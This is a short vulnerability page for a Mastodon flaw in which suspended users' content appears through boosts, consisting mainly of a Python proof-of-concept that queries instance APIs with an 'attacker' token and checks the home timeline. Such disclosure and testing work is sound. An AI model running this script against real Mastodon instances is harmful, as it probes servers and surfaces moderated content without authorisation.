CVE-2026-23961 Mastodon暂停用户内容绕过漏洞

# CVE-2026-23961 PoC - Mastodon Suspended User Content Bypass # This PoC demonstrates how suspended user content can appear via boost import requests import json import time # Configuration TARGET_SERVER = "https://target-mastodon-instance.com" SUSPENDED_USER = "[email protected]" BOOSTER_USER = "[email protected]" ATTACKER_TOKEN = "your_attacker_bearer_token" def check_suspended_status(user): """Check if a user is suspended on target server""" response = requests.get( f"{TARGET_SERVER}/api/v1/accounts/lookup", params={"acct": user} ) if response.status_code == 200: data = response.json() return data.get("suspended", False) return False def get_user_posts(username): """Get posts from a user (including suspended)""" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} # Get user ID first lookup_resp = requests.get( f"{TARGET_SERVER}/api/v1/accounts/lookup", params={"acct": username}, headers=headers ) if lookup_resp.status_code != 200: return [] user_id = lookup_resp.json().get("id") # Get posts posts_resp = requests.get( f"{TARGET_SERVER}/api/v1/accounts/{user_id}/statuses", headers=headers ) return posts_resp.json() if posts_resp.status_code == 200 else [] def check_boost_in_timeline(post_id): """Check if a suspended user's boosted post appears in timeline""" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} timeline_resp = requests.get( f"{TARGET_SERVER}/api/v1/timelines/home", headers=headers ) if timeline_resp.status_code == 200: timeline = timeline_resp.json() for item in timeline: if item.get("reblog"): original = item["reblog"] if original.get("account", {}).get("acct") == SUSPENDED_USER: return True return False def main(): print(f"[*] Checking if {SUSPENDED_USER} is suspended...") is_suspended = check_suspended_status(SUSPENDED_USER) print(f"[*] Suspended status: {is_suspended}") print(f"[*] Getting posts from {SUSPENDED_USER}...") posts = get_user_posts(SUSPENDED_USER) print(f"[*] Found {len(posts)} posts") print(f"[*] Checking home timeline for boosted content...") found_boost = check_boost_in_timeline(posts[0]["id"] if posts else None) print(f"[*] Suspended user content in timeline: {found_boost}") if found_boost: print("[!] VULNERABLE: Suspended user content bypassed suspension via boost") return found_boost if __name__ == "__main__": main()